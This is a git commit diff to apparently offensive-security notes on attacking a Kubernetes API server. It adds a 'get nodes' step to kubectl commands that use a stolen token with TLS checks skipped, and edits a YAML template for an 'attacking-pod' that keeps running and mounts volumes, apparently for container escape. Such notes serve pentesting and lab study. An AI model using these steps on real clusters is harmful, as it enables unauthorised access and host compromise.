added node info for attacking-pod image
This commit is contained in:
parent
76f57dd84f
commit
b8e4ca9782
|
@ -25,6 +25,7 @@ kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET
|
|||
```sh
|
||||
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get pods
|
||||
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get pod <image> -o yaml
|
||||
kubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get nodes -o yaml
|
||||
```
|
||||
* Use a found image to create the following yaml file
|
||||
```yaml
|
||||
|
@ -34,8 +35,8 @@ metadata:
|
|||
name: attacking-pod
|
||||
spec:
|
||||
containers:
|
||||
- image: <image name in found containers section>
|
||||
name: <name of image in found containers section>
|
||||
- image: <image name in found containers/nodes section>
|
||||
name: <name of image in found containers/nodes section>
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumeMounts:
|
||||
|
|
Loading…
Reference in New Issue